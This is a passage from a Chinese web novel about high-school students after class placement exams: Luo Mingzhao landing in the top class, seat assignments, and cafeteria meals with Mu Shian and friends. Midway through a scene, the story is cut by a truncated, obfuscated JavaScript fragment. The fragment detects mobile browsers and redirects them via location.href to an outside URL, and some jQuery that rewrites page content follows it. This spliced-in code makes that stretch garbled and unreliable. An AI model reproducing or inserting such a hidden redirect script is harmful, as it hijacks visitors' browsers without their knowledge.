“《CruelSummer》前奏一响我就听出来了,广播站太有品味啦。”林雨彤激动地说,毕竟在放她爱豆的歌。 林雨彤在她耳边一句不落地轻声跟着唱,梁若璇也会唱副歌,也会偶尔跟几句,骆眀昭闭起眼睛,享受着这个瞬间的奇妙感。 唱完这首歌,她们也要踏进教学楼的大门,就很巧,梁若璇也是学纯理的,跟她俩在同层的考场,只有薛游一个选的是物化地。 林雨彤哀怨地叹口气:“就剩这一门啦,考完试晚上就分班喽,救命。” “我们班主任考试前跟我们说纯理重点班还是一个,然后平行班是八个,总共有九个班。”三人往楼梯上走,梁若璇分享着她的情报。 “八个班!选纯理的人这么多啊!”骆眀昭愣了,那她还能跟好姐妹分在一个班吗! “你忘了北校区有多少人吗?南校区总共二十一个班呢,咱们这边是五个班,”林雨彤无奈又说,“现在只能看咱们姐妹三个的命啦。” - 下午最后一门英语考完,大家就可以各回各班复原考场,然后吃晚饭,等七点自习铃打响准时在班里安静自习,等待接收着最后的审判。 监考老师拿着答题卡离开教室,考场里的众人就各个离开,骆眀昭在座位慢慢悠悠地收拾,想等着人变少些她再走。 走廊里闹着、笑着,吵吵嚷嚷,考场里基本空了,她攥着笔袋和试卷起身,准备去拿书包时,才看见牧时桉也还坐在自己的座位上,中午那会儿他也不知道去哪了,午休查人数时才回来。 教室前排的桌子空荡荡的,只剩下两只书包,一只是黄紫色相间,还挂着骆眀昭买得各式各样的小挂件,还有一只是纯黑色的。 骆眀昭走过去,见他还没走,先出声打了声招呼:“还没走呢?” “你不也还没走吗?”牧时桉随意说道,起身往前走了几步,驻足在她身旁,男生个子很高,站在她身旁压迫感十足,骆眀昭再看他,只能仰头。 我不走是怕人太多控制不了自己撞上路人,你在这磨叽什么真的是。 骆眀昭心底暗自嘟囔着,她伸手一够,拿起自己书包带背在肩膀上,侧边挂着的小熊玩偶因而轻轻摆动。 牧时桉也接过自己的书包,懒懒地单肩挂着,问了一句:“你在几楼?” “五楼。”她说。 牧时桉掀起眼皮,却说:“我在四楼,要不一起?” 骆眀昭瞥他一眼,没什么所谓,中午分开前跟林雨彤约好,考完试各自直接回班见,这会儿她估计都已经回到班里了,而且考场里已经有本班的学生陆续回班,走廊里似乎不再那么拥挤,于是答应道:“可以,走吧。” 两人这么前后脚走出教室,牧时桉就在自己的侧后方,像堵墙一样,走廊里的人比想象中还多些,骆眀昭时刻打起精神,生怕一个没收住栽到旁人身上。 她不能总身旁带着个人帮她指路,总得自己适应在人潮中行走。 身后忽地出了声,打破了骆眀昭的专注:“考的怎么样?” 骆眀昭小心绕开前面并排的几个女生,才有功夫回答:“就那样呗,我成绩一般,别太差就行。” “没想冲冲重点班?”他忽地问,唇角无意识地勾起个难以察觉的弧度。 牧时桉一直就在重点,以他的成绩估计这回也在,不知为何莫名觉得,如果她在同班,今后会很有意思。 “我,你说的是我吗?”骆眀昭转过脸,怔着指指自己,“我配吗?” 牧时桉笑了一声,没再说什么,微扬起头示意她继续走吧。 正要拐进楼道时,面前小跑出几个正打闹着的男生,骆骆眀昭提前感应到他们的出现,赶紧往旁边闪躲,让他们先走。 好不容易躲过了他们,一定神,楼道口的铁门竟被推出了些,就在半臂之远的位置,骆眀昭没反应过来,又“邦”一声撞了上去。 “该死,不带这么倒霉的啊!”她揉着自己额头,压制住那颗想要咆哮的心。 牧时桉本以为她瞧见有门会停车,却眼睁睁地看着她撞在门上,朝她过来,轻声问道:“你还好吧?” 骆眀昭其实听到他在问,只是单纯因为疼懒得回,只摆摆手,示意没事。 楼梯间没了横冲直撞的人 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她跟林雨彤一块去超市里买了两个巧克力馅牛角包凑乎,正在减肥中的某人,边享受着甜食,边看着成分表里的热量呜呼哀哉,焦虑地吃着。 骆眀昭还多加了一罐旺仔牛奶,双倍甜食抚慰自己有些焦虑的心情。 毕竟还有不到三个小时,就要宣布分班结果了,没法不慌啊,她现在只渴求着,希望多几个南校区同班同学跟自己分到一个班。 晚上盯自习的是班主任蔡扬,进班之后他先带来一个“好消息”。 “除了英语之外的所有成绩都出来了,英语听说也正在合分,很快成绩就会被排出来,大家的分班结果也就出来了。” 讲台下顿时哀嚎声一片。 蔡扬用手拍拍讲台:“行啦,嚎什么,班长上来把多媒体打开,晚自习咱们对试卷答案,你坐这给他们翻页啊,对完一页就举手示意,班长再翻下一页。” 很快,大屏幕上就展现出了试卷答案,骆眀昭从书包翻出文件袋,把一摞试卷抽出来,撑着脑袋一道道订正。 只能说是神迹,错得比她想象中少多了,尤其是数学,最后三道选择题全都蒙对,最弱势的物理也没差得太离谱。 答案对完,班里安安静静自习,骆眀昭忽然感觉后背被什么圆柱形的物体戳了戳,她顿时心领神会,一只手悄悄摸摸伸到后面,果然有张被攥成团的小纸条。 她瞥了眼阳台上的老蔡,跟做贼一样,缓缓把纸张打开。 林雨彤:[怎么样,战况如何?我是完蛋了,估计得找个桥洞过几天(哭哭)。] 骆眀昭抓起笔,俯下身刷刷写着,然后又悄悄递给身后的姐妹。 林雨彤眼睛一直紧盯着前方,直到看见一只手出现在她眼前,赶紧接过纸条打开。 骆眀昭:[神了,我蒙对不少。没事我家床很大,装得下你:)。] 林雨彤了然,四下瞅了一圈,把纸条悄悄塞进笔袋里。 晚自习中间有个二十分钟休息时间,两姐妹哪都没去,留在座位上忐忑不安。 九点半,走廊里响彻放学的悠扬铃声,原本趴在讲台上的蔡扬也忽地坐正身子,拍拍讲台桌,起身站起来。 蔡扬举着手机:“各位,分班结果已经出来了。” 顿时,打盹的、聊天的、学习的、悄悄看小说的,全都扬起了脑袋,那么一瞬间,大概全班心跳同频,安静地可怕。 “成绩明天你们自己去一层告示板看,下面我来念每个人的班级——”蔡扬慢慢念着,着其中讲台下有喜悦、难过、烦躁,直到班里听见了熟悉的名字,“林雨彤,二班……骆眀昭,一班。” 哦,一班啊。 什么!一班! 那不是重点班吗?不会是有同名同姓的吧! 骆眀昭还没从震惊中缓过神来,讲台上蔡扬已经宣布完名单,放下手机。 “至此,我们的分班结果公布完毕了,不管你有没有去到你心意的班级,有没有跟自己的小兄弟小姐妹分到一起,都已经成定数无法改变了。我们大家在南校区过了一年,从明天开始就要正式融入北校区这个大家庭中,开启你们未来两年的新生活,前路漫漫,我们大家就此暂时别过,有缘再聚。” 8. 糖醋里脊 分班考试结束,八中高二就要恢复正常上学时间,七点二十正式早读。 昨天骆眀昭一晚上闷在被窝里,跟林雨彤在微信上琢磨到半夜,也没能想清楚她是怎么被分到一班的,她是自我感觉成绩不错,但也没超常发挥到那个程度吧。 原本想放学找蔡扬问问成绩,但看他被同学们围成一圈,大家在依依不舍,她心里莫名也扬起一种酸楚感,毕竟老蔡也对她不错,可惜就要这么分开了。 虽然骆齐和王乐萍嘴上说着对她成绩不在乎,但主要是怕给孩子徒增心理压力,心底隐隐还是有些在意的,听说她考进重点,尤其是老骆,恨不得在小区里放两串挂鞭大肆庆祝,顺便循环播放《好运来》。 骆齐甚至一大早,就做好早饭,穿戴整齐,等着送亲爱的女儿上学。 “我说,爸,不至于这么夸张吧。”骆眀昭嘴角扯了扯,手里捏着半块没吃完的蛋清,眼瞅着自己的书包很自然地落在了骆齐的手上。 骆齐笑得喜庆:“快吃,吃完老爸开车送你。” 其实骆眀昭想说不用,自己坐公交也可以,但老骆态度坚决,不仅要送闺女,还想顺便把王乐萍一块送去上班,最后当然只得到一个白眼。 “你有病啊,骆齐,我还有一个小时才上班呢!滚!” 汽车最后开到离学校一百米远的位置,骆眀昭提前背上书包下车,临走还得到老骆一个微笑鼓励,“加油”。 走到学校大门口时,正好林雨彤骑着小电驴缓缓停车,推着车走在骆眀昭身侧。 “我看见你爸的车了,坐车来的?”林雨彤出声道。 骆眀昭叹了口气,直到现在她还没缓过神来:“还不是因为去了一班,老骆跟打了鸡血一样,真是奇怪,怎么就进一班了,不会年级里真有跟我同名同姓的吧。” 林雨彤跟她说:“你以为骆姓很大众吗?进一班还不好,重点唉。” 学生停车区在学校操场前边,每个班都划好固定区域,反正今天来得早,还不到七点,骆眀昭索性陪着她去找二班停车位。 “跟我一起去一班的几个,我都不熟啊,北校区我又一个人都不认得。”她跟在林雨彤小电驴旁,愁眉苦脸,这才是她最无奈的地方,好姐妹又不在身边。 “谁说你一个人都不认识的?” “嗯?” 两人面前是挂着块高二二班的牌子,林雨彤说着,把自己的电动车停在白线内第一个,从车筐里拿着个小袋子准备离开:“还有牧时桉啊?” “什么?”骆眀昭瞪着眼,“他也在一班啊?” 林雨彤挽过她的胳膊,朝着高二教学楼的方向走:“对啊,我昨天问了梁若璇他们三个都在几班,她跟我一样在二班,牧时桉在一班,薛游在十三班。” “这么好啊,你跟小璇在同班。”骆眀昭注意力在这里,心里有些羡慕。 林雨彤也很满意,笑着说:“对啊,我也没想到,这么巧。” 大概是见骆眀昭失落地太明显,她又赶紧宽慰道:“没事,一二班是隔壁,咱们还是可以每天都在一起的,别太担心啦。” 高二教学楼,班级从一层走廊最左开始一条龙排序,最后二十六班在五层角落,二人一同进楼,一楼大厅门口有面很大的告示板,上面已经贴好全年级的成绩单。 趁着人少,骆眀昭和林雨彤赶紧小跑过去看成绩,这张大表是全年级同科目之间的排序,骆眀昭指尖贴在纸上,一个个寻找着自己,终于在第五十名序号旁边找到她的名字。 “我靠,五十,这也太擦边了吧,一班总共就五十人啊!”骆眀昭直愣愣瞪着表单,惊呼着,还有更让她震惊的,“啥,第五十一就跟我差一分,他就在二班。” 就差那么一点点,就一分。 - 跟林雨彤从走廊分开后,骆眀昭就朝前走几步,进了一班后门,班里人不多,也就十几个,但她谁都不认识。 教室前排围了几堆人在聊天,似乎没人注意到骆眀昭进班,她四下环顾一圈,每张桌上都没有自己的私人物品,大概率要重新分座位,她从最后一排角落靠窗的课桌下方,抽出椅子来,悄悄坐下。 她也没摘书包,后背就这么鼓起个大包来,顶着椅背,堪堪坐在座椅的边上,撑着脑袋望向窗外,窗户外是一排绿荫,小道间有穿着校服的学子们在穿行。 还有牧时桉。骆眀昭忽地想起刚刚林雨彤跟自己说的话,这算是她在一班,唯一的朋友吗? 教室里仍是吵吵嚷嚷的,校园内七点钟的铃声打响,这是高三晨读结束的休息时间,听说高三六点半就要到校,晚上九点四十才放学,简直是跟住在学校没两样。 正发着呆,面前的椅子被拉出来,骆眀昭顺着声音仰起头,是个短发女生,带着圆框眼睛,似乎有些腼腆,她跟骆眀昭视线相对,羞涩地回了个笑。 骆眀昭主动微笑跟她打招呼:“你好,我叫骆眀昭,是从南校区来的。” 女生看着她犹豫片刻,伸出手拉住她递出的手掌,轻握一下:“你、你好,我叫李夏。” “你也是刚考到一班的吗?”骆眀昭问道。 李夏愣了愣:“你怎么知道的?” 骆眀昭指指正在热聊中的同学们:“前面那些同学大概以前就是一班的,但我看你没跟他们坐在一块。” “我以前是六班的。”李夏赞同地点点头,但说完就转正了身子不再看她。 大概是社交能量槽空了,可以理解。 也没得干,她趴在桌子上,把脑袋埋进手臂中,脑海中天马行空,在想自己中午该吃点什么呢?今天总该去一食堂尝尝了吧? 教室里的同学来来往往,耳边拂过嬉笑声、桌椅摩擦过地面的声音、以及络绎不绝的脚步声,很热闹,不知何时多出一串脚步,节奏像是跟旁人不同,一下一下地在朝着骆眀昭靠近,直到站定于她的身侧。 人是能感受到自己身边,是否存在些什么,于是骆眀昭撑起身子,朝自己身旁看去。 “你这不是来了吗?”牧时桉就站她旁边,垂下眼看她,男生几乎占据她全部视线,也就是目光里就只剩这个高挑的身影。 骆眀昭微怔,一下子没反应过来他打的哑谜:“啥?” 牧时桉插在外套口袋里的手伸出来,拉出骆眀昭身侧的椅子,径直坐下:“你昨天不是说,你来不了一班吗?” 昨天晚上之前,我确实是这么想着啊…… 骆眀昭侧过脸瞥他一眼,无奈地搓搓鼻尖:“撞大运了而已,我擦线进来的,第五十名。” 教室里五十张桌子满满当当都是人,铃声响起,从前门里走出一名女性,大概三十多岁,面相温和,就是一班的班主任,宋晓。 她把手中拎着的名单放在讲台上,扬声道:“分班考后,咱们一班来了十四名新生,为了让新同学融入这个班,我先自我介绍一下,我叫宋晓,是一班的班主任兼英语老师。” 教室里很给面子的响起鼓掌声,骆眀昭也跟着拍了拍。 “这个早读安排是这样的,一条龙自我介绍,报个名字就行,咱们同学之间熟悉一下,然后第二件事排座位,咱们班的传统就是按成绩由高到低自由选座,大家安静点,速战速决,好吧。” 她讲完话,就指着靠走廊那列第一个人开始报名字。 骆眀昭书包还没摘,坐得久有些难受,趁着大家正在自我介绍,她悄悄把书包两根肩带摘下,拽住书包,准备放在自己腿上。 她尽量把动作放小,所以偷偷摸摸地,抓着书包,在即将抵达终点时,手因为一直保证同个动作倏地抽筋,马上就因为抓不住而掉下去。 而从身侧忽然出现一只手,帮着她提住书包,又直接放在了她的腿上,骆眀昭朝身侧看过去,牧时桉仿佛没事人一般,仍是悠闲地坐着,留给她的是精致的侧脸线条。 兄弟做好事不留名啊。 一条龙走到一半,骆眀昭抱住怀中的书包,压低声音,跟他说了句谢谢。 不知道是不是她产生错觉,耳边似乎闪过少年低沉的一声,嗯。 自我介绍简单高效,犹如一班的尖子生属性,这一环节很快结束,接下来就是分座位。 所有人都背着书包到了走廊里,宋晓在前门一个个报名字,其他班里应该都在进行熟悉新同学的环节,能听见嬉笑吵嚷声,骆眀昭靠在墙边,等着被叫到自己的名字,反正是最后一个,等着吧。 中途大概是叫到第二十多号人时,叫到了牧时桉的名字,骆眀昭分出神看他进门,跟其他学生会找前排位置不同,他径直就走向倒数第二排靠窗,也就是刚刚李夏的座位,顺势把书包塞进桌子里。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13602995|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这个是什么位置?前不着村后不店,他周围一圈一个人都没有。 等叫到骆眀昭的名字时,走廊就剩她一个人,宋晓叫到她名字时,朝她笑了笑。 骆眀昭透过玻璃看了一圈,整个教室就剩一个位置,还挺巧,就是她进班时的那个位置,她也没走前门,背着书包就悄悄从后门溜过去,在她旁边坐的是一个梳着马尾辫的女生。 两人互相对视,也没说什么,骆眀昭就安静坐下。 - 一上午就这么过去,午休前最后一节课的铃声打响,讲台上老师抱着教案离开教室,班里顿时热闹起来。 骆眀昭还在飞速抄着黑板上的板书,林雨彤已经从后门溜进一班来找她了。 “走吧,吃饭去啦。”林雨彤伸出恶魔之手,捏了捏她的脖子。 骆眀昭笔尖在纸上写得飞快,同时播报着进度:“马上,还有一行,十个字,两个字,结束!” 她一秒钟都不想再待在这个监狱般的教室里,赶紧从书包夹层里摸出手机和饭卡,一把拽住林雨彤的胳膊,像是拉住救命稻草一般。 林雨彤低头看她:“怎么啦?” “彤啊!这班简直踏马不是人待的,把我寄走吧,去哪都行,反正不在一班。”她哭丧着脸,绝望地咆哮。 一班的节奏、氛围、教学质量,不是她这种小虾米能触及到的层次。 她正准备起身,视线前方,男生也站了起来,牧时桉压下原本翘起的唇角,转过头,忽然开口问:“梁若璇跟你们一块吗?” 梁若璇最近跟她们交好,这事他是知道的。 “哦,对了,小璇让我告诉你,她跟你有事说,现在她去拿奶茶了,一会儿一食堂见。”林雨彤回答道。 牧时桉点点头,捞过靠背上挂着的校服外套,从座位走出来,径直往教室外面走过去。 走廊尽头,侧门的位置,薛游正站在门口等着他,他朝这边看时,还往牧时桉身后多看了好几眼:“梁姐没跟你一块?” “去取奶茶了,让咱们去一食堂。”室外午间是大太阳,牧时桉两只手臂都被外套遮着,他不是很喜欢晒太阳,那感觉不好。 薛游跟在他旁边走着,一路上都是薛游在说,牧时桉时不时回应几句,两人到了一食堂,昨天是高一军训最后一天,今天已经恢复各年级的错峰吃饭时间,打饭窗口已经没前几天那么多了。 “今天周一,应该有糖醋里脊,你要吗?”薛游托着两个餐盘,问他。 牧时桉没什么所谓,平时在一食堂,都是薛游吃什么,他就跟着吃,他不挑。 他随意回道:“跟你一样就行。” 等排到他们,薛游把两个餐盘都递给阿姨,指了几个菜:“阿姨,就这几个,两盘打一样的就行。” 每周一的糖醋里脊是众学生的最爱,不是那种被番茄酱裹着软趴趴的面团,而是真正挂着糖醋汁的里脊肉,一口咬下去外层酥脆,从前供应量不多,食堂发现学生们爱吃就多做了些。 牧时桉和薛游坐在角落的一张桌子,周围一张桌子坐的大概是高一的新生,几个女生凑在一块,似乎在议论牧时桉。 他也不是第一次经历这种事,所以平静地斜坐着,手中滑动着手机屏幕。 很快,梁若璇就提着几杯奶茶朝他走过来,今天选的是一点点,是她最喜欢的无糖奶绿外加冰激凌球,外卖袋往桌上“啪”一放,她一来,周围原本盯着牧时桉偷看的女生都自觉移开了目光。 “薛游,帮我去打个饭呗?”梁若璇忽然跟正在干饭的薛游说。 “吃什么?” “跟你一样。” 话落,薛游就攥着饭卡又去排队了,饭桌上就只剩他们两人。 牧时桉放下手机,懒懒地掀起眼皮:“有什么事就说,还用得着把薛游支走。” 梁若璇看着他,抿着唇,在犹豫该不该开口,顿了好一阵,才从他的对面起身走过来,坐在牧时桉旁边,长呼一口气。 “那个什么,拜托你个事呗?” “说。” “今晚上我能住你家吗?”她说。 而在梁若璇看不见的地方,正一个身影愣在原地,骆眀昭正准备悄悄吓她一跳,于是蹑手蹑脚溜到她背后,然后就听见—— 完了,她会被灭口的吧…… 9. 冰激凌奶绿 都是林雨彤那个大傻子! 非说什么给梁若璇打个措手不及,真不知道被打措手不及的到底是谁! 骆眀昭大脑飞速运转,用仅存的脑细胞来运算,如果她此时此刻按照来时路线,再小心翼翼撤回原点,他俩能发现吗? 生死一线,她总要给自己找条出路,于是她几乎停止呼吸,尽量将自己的存在感压至最低,同时一只脚先试探性地后撤一步。 很好,他俩好像没有发现。 再接再厉。 先迈出的那只脚站定后,骆眀昭又轻手轻脚地尝试去迈出另一只脚。 一食堂里人声鼎沸,周围吃饭的同学更是不少,她这个四肢如此摆设使用,很难不被人认为是在搞什么行为艺术,于是像看戏一般纷纷看向她。 这边餐桌上,梁若璇见牧时桉对她的话好像没什么反应,不死心地又问一遍:“问你呢?收留我一晚上呗。” “别往后撤,你快撞上清洁车了。”牧时桉忽地冒出这么一句,梁若璇还在纳闷,顺着他的目光看过去,只见骆眀昭刚巧在保洁阿姨推出的清洁小车前停下脚步。 完蛋,被发现了,毁灭吧。 “昭昭,你怎么在这?”梁若璇出声问道。 骆眀昭笑得勉强,像是身后有把刀架在她的腰窝处,心惊胆战:“如果我说,我纯属路过,你们会信吗?” 远远在一旁偷看着的林雨彤,这时也只能现身,原本只是让骆眀昭去悄悄拍她一下,却没想到看到一段现场版人类驯服四肢实录。 “你是不是,听到什么了?”牧时桉看着她,下巴微抬,拖起尾音来。 一句话把偷听者问到失语,关键她也不是故意的啊,只能算是一场意外。 骆眀昭往林雨彤身边走去几步,声音越发越没有底气:“我没、没听见。” 梁若璇这下是明白了事情缘由,勾起笑来:“昭昭,你是不是误会什么了?” - 众人坐在同一桌上,连打饭的薛游也拿着餐盘回来了,梁若璇拆开外卖袋把点的奶茶递给骆眀昭和林雨彤,她们在课间操短暂碰面时商议,中午要喝奶茶。 骆眀昭拆开吸管上的纸包装,尖头对准杯面,猛地扎了下去,三人点的是一样的,这是梁若璇强烈推荐的搭配组合,安利给她,一口吸下去,融化的冰激凌球跟无糖奶绿相交融,确实好喝。 对于林雨彤来说,当然是八卦更感兴趣,奶茶则先靠边站:“所以,你们两个人是亲戚啊?” “准确来说,”梁若璇挤出笑眼,一把搂住牧时桉的脖子,“我是他的亲姑姑。” “亲,姑姑!”林雨彤骆眀昭瞪着眼睛。 梁若璇父母,也就是牧时桉的爷爷奶奶生一胎的时候岁数很小,二十岁就生下老大牧正云,谁想到后来儿媳孙惠怀孕期间,梁母居然也查出怀孕来,一开始没打算要,毕竟是四十五岁的高龄产妇,可产检一查,身体各项指标都不错,最后两家人一商量,就留下了梁若璇,跟梁母姓。 骆眀昭吸了一口奶茶,感慨着:“所以小璇你比他还小几个月啊。” “岁数小,但是辈分超级加倍,是吧大侄子。”梁若璇戏谑地调侃着。 大概是这么多年被辈分压制习惯了,如今牧时桉也能心平气和地叫出小姑两字。 “快吃啊,都有点凉了。”骆眀昭送了口米饭入嘴,温度已经有些凉下去了。 话落,饭桌上热聊正嗨的林雨彤梁若璇,终于拿起手边的筷子,开始吃饭。 骆眀昭她俩原本慢慢悠悠溜达,毕竟是刚来北校区所以情报不足,还是在半路上听到有同学在讨论糖醋里脊的事,骆眀昭才赶紧拉着姐妹赶来想碰碰运气,但到她们的时候,糖醋里脊已经没有了,她只好就选几个简单的炒菜。 “除了薛游之外,我就跟你俩说了我跟我大侄子的关系哦。”骆眀昭抬起头,刚好看见梁若璇冲着她来个wink。 只有我俩? 骆眀昭愣了愣。 林雨彤:“所以你为什么要去牧时桉家住啊?” 提起这个,梁若璇一下食欲消散,恹恹地放下筷子:“昨天跟我爹吵了一架呗,本来想当天晚上就跑,但是太晚我就忍了。” 牧时桉侧过脸,扬了扬眉:“爷爷骂你了?因为分班考?” 原本梁若璇和牧时桉都在一班,没想到分班考试她被优化出去了。 “对啊,就是骂我假期没好好学,没留在重点班呗,就这。”梁若璇脸上故作无所谓,但回想起昨晚上的场景,心里还是止不住的委屈。 梁爸总是这样,一到批斗她的时候,能把从穿开裆裤那会儿的陈芝麻烂谷子的事,都扯出来,反反复复的翻旧账。 牧时桉收了手机,顺手塞进外套兜里:“你跟我说也没用,得你哥同意吧?” “我这不是没跟他说嘛,让你帮着做做工作,”梁若璇垂下脑袋,木筷子有一搭没一搭地戳着铁质餐盘,发出“当当”声,“我要是直接跟我哥说,他得骂死我。” “我一会儿给他发微信吧。” “大侄子,我就知道你最懂事。” 骆眀昭埋头吃着饭,全程没怎么抬过脑袋,安静听着他们的对话,一是不小心撞到人家说悄悄话她已经很不好意思了,没想到梁若璇还大度地把他们的秘密告诉自己,二是实在是怕瞧见牧时桉吃饭,好巧不巧,他坐自己面前。 一食堂的饭桌比二食堂小,她跟牧时桉的餐盘因为桌子大小,刚刚好并在一起,骆眀昭都不用抬头,就能瞧见他餐盘中,盛着一份糖醋里脊。 不经意间,诱人的颜色总是闯进她的目光所及之处,牧时桉从拿起筷子开始,就没动过那片区域,骆眀昭心底暗骂自己,怎么能馋成这样呢,大姐,连人家碗里的饭都想吃,于是头埋地更低。 从牧时桉视角看,只能瞧见,骆眀昭头顶的发旋,好像整个脑袋都要栽进饭里。 牧时桉不着痕迹地观察着她,她吃饭总是很有趣,虽然只是同她吃过几次的饭,但已经几乎能察觉到规律,骆眀昭认真吃饭时,眼里目光里就只有饭,若是坐立不安,还行为怪异,那就说明她心里藏着事。 不知道第多少次,自己定在餐盘的目光,总会偏移到对面的糖醋里脊上去。 没出息!没出息!骆眀昭你丫上辈子是个饿死鬼吗! 余光里,那份糖醋里脊仍没被动过,整个餐盘好像只有米饭和一个青椒炒蛋是被吃过的,她又没忍住多看了一眼。 “这儿我没动过,你吃吗?”前方忽地传来声音,骆眀昭扬起头,牧时桉似笑非笑地看着她。 骆眀昭捏着筷子怔住,愣了神,饭桌上几人似乎都在看他们。 可牧时桉只是放下筷子,平平淡淡地说了句:“我吃饱了,一食堂糖醋里脊还挺有名的,浪费可惜。” 其实他只是察觉到,她对这份里脊的复杂感情,那一瞬间骆眀昭刚刚好微微扬起脑袋来,他看到她眼底的渴望、遗憾、好奇诸如此类的眼神。 牧时桉其实不明白,这仅仅是一份菜而已,跟食堂里其他菜品一样,只是调味上的不同罢了,但他还是想看到,骆眀昭吃到自己一直惦记着的食物的反应。 对面的骆眀昭,她其实想拒绝,但是那份糖醋里脊始终在同她招着手,颅内两股实力拼命作斗争,非要争出个你死我活来。 “那我就不客气了,谢谢。”半晌,对食物的想法终究战胜了理智,她朝着牧时桉笑笑,虽然不知道是不是自己那副馋相被瞧见,但是还是很感谢他的友善分享。 筷子小心翼翼地伸过去,夹起一块带着酱汁的里脊肉入口,虽然已经凉了,但不妨碍它的美味。 她吃得很香,很满足。 - 梁若璇最后没能实现她逃离自家的愿望,牧时桉给牧正云发了微信后,八中的晚餐时间,她就接到来自亲哥的电话。 倒也不是牧正云不让自己妹妹来,毕竟在他心底是比亲儿子还要更疼爱这个妹妹几分,只是旧房这边客房还没收拾出来,现在都堆着杂物,一个小姑娘怎么住。 在重点班的第一天,当放学铃声打响的那一 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夜色黑沉,初秋夜风透着凉意,校园里甬道上满是并肩同行的少年们,路灯昏黄,骆眀昭就感觉一个高挑的身影跟在她的身边,相当有安全感。 她扬起头往牧时桉那边看去,男生清瘦,但也能完美架起这套墨色的校服,光线实在不算清晰,只能隐约瞧见锐利的五官线条,带着肆意的少年气息,仿佛蛰伏在漆黑中的猛兽,在夜色加持下,他帅得实在很有攻击性。 边往校门外走时,她在想,这样的人,她还以为会有很多的朋友。 但仔细想想,他身边好像就只有两个人,薛游和梁若璇。 公交车按时抵达,在这个时间段的这站,几乎被八中学子霸占了这辆车,骆眀昭在牧时桉前面上了车,如往常一样,“滴”一声,刷卡成功。 车上没有空座,两人就分别抓着车后门的两根杆,站在一块。 牧时桉垂下眼,缓缓问道:“你不是带手机了吗?” “什么?” “为什么还要带张公交卡?”他微微歪头,咬字时似乎还带着小小的上扬语调。 好像从来没人问过她这个事。 骆眀昭顿住,仔细想该怎么回答这个问题:“可能是因为满足了我小时候的心愿吧。” “怎么说?” “因为小时候只能隔三差五坐到公交,所以比起刷卡,投纸币更方便,但我看很多大人上车时,‘滴’的一声刷卡,还蛮酷的,就像一种仪式感?” 骆眀昭在说的时候,牧时桉一直就看着她,脑中还在回忆着刚刚她刷卡上车的样子,那感觉确实挺酷的。 一路上两人又聊了几句,可能也是到了该睡觉的时候,骆眀昭握着杆老是打哈欠,时不时还会点个头,牧时桉看她这样,也自觉没再说什么。 很快,公交就抵达了两人的目的地,这个时候的小吃街已经没那多人了,北方除了夏天,几乎没什么夜生活,中升高那个暑假,家里带骆眀昭去了长沙玩,那是她第一次见晚上还会有那么多人在外面。 两个一前一后地走着,直到进了家属院,走向同一楼道。 老楼房的楼梯都是坑洼的,楼道灯又不够亮,骆眀昭就那么小心翼翼地走着。 到了二楼自家门口,骆眀昭就伸手要从书包夹层里取钥匙,牧时桉走过她的身边,就要往楼上走。 “拜。”他说。 带着挂件的家门钥匙在寂静的楼道间里叮当作响,可能就是那么心念一动,骆眀昭在钥匙即将插入锁孔的前一秒,忽然问道:“牧时桉,咱们现在应该就是朋友了吧?” 往上走的脚步在某一刻顿住,然后紧接着就是少年懒洋洋地回了一句:“不然呢。”随后,再次响起脚步声。 钥匙在锁芯里转动,直至门被拉开,骆眀昭扬起头,对着已经看不见身影的人,轻笑着说:“知道了。那明天见啦,拜拜。” 10. 全家福手抓饼 如果一定要在骆眀昭短暂的人生历程中,画出一条分界线,那改变她生活的那一点,非考入重点班这事莫属。 就这短短的一周,骆眀昭已经觉得提前透支自己后半辈子的阳寿,她再也不是从前那个元气满满一身牛劲的小女孩,任谁瞧见她,都是一副被吸干精气的倒霉样。 周五晚餐时分的二食堂,所有学子的脸上都带着几分对周末即将来临的向往,已经有人在规划自己周末要去哪里玩了,角落的餐桌上,骆眀昭撑着脑袋,一点一点,似乎一个不注意就要跟桌面来上个亲密接触。 在她即将磕向玻璃桌面的前一秒,幸好林雨彤及时叫住了她:“骆眀昭!” “到!”一个激灵,骆眀昭收住动作,坐正身子,为了清醒还狠狠拍了拍脸。 林雨彤和梁若璇拿着手抓饼回来,小林同学前天去服表班上课的时候,被老师说脸有些圆,于是她又在一次踏入减肥的征程中,所以只有梁若璇和骆眀昭吃晚饭。 “给,快吃,新鲜出炉的全家福手抓饼,一口下去全是料,给你充充电。”梁若璇把饼递给她,瞧着她那副可怜兮兮的模样,也是无奈。 骆眀昭颤抖着手去接过明显比姐妹手中胖一圈的手抓饼,仿佛饿龙进食猛张大口,一口咬下去。 油汪汪带着酥脆的饼皮,搭配鸡蛋、烤肠、肉松、鸡排、生菜以及各种丰富的酱料,其实因为加的东西太丰富,吃的时候已经分不出谁是谁,但这种糖油混合物,还是在一定程度上抚慰了她的灵魂。 林雨彤看着她,赶紧把手边的矿泉水瓶盖拧开,把水递给她:“慢点吃,又没人跟你抢,有那么饿吗?” “还是没习惯重点班的氛围,理解,我上学期刚进去的时候也不适应,每天放学回家的路上都在骂街,”梁若璇悠哉地咬了口饼,作为前辈,讲述了自己的经历,“咱们学校重点班虽说比不上一中、附中那种学霸扎堆的竞赛班、清北班,但每年成绩还是很好的。” 猛吃几口的骆眀昭这会儿也恢复的差不多,脸上也终于带了点血色。 可能是从小到大,家里人都没给过她什么压力,提倡的都是顺其自然,猛然间身处于如此高压环境之中,不免得会有一段漫长适应期。 “终于熬到周五了,我以前从来都没这么期待过周末的到来。”骆眀昭狠狠伸了个懒腰,感慨着。 梁若璇好奇地问:“你们周末都有什么安排啊?” “周六有服表课,剩下时间我还没安排。”林雨彤说。 “我都想好了,今天晚上加班加点把作业写完,然后明天抱着手机iPad,在床上躺一天,周日同上,大好时光当然是用来浪费的。”一周以来,每每到骆眀昭坚持不下去的时候,就幻想一下窝在小床上的美好画面,给自己加把劲。 话刚落,不远处的饭桌上,牧时桉和薛游端着两碗面落座,他们两桌中间大概隔了五六米的样子。 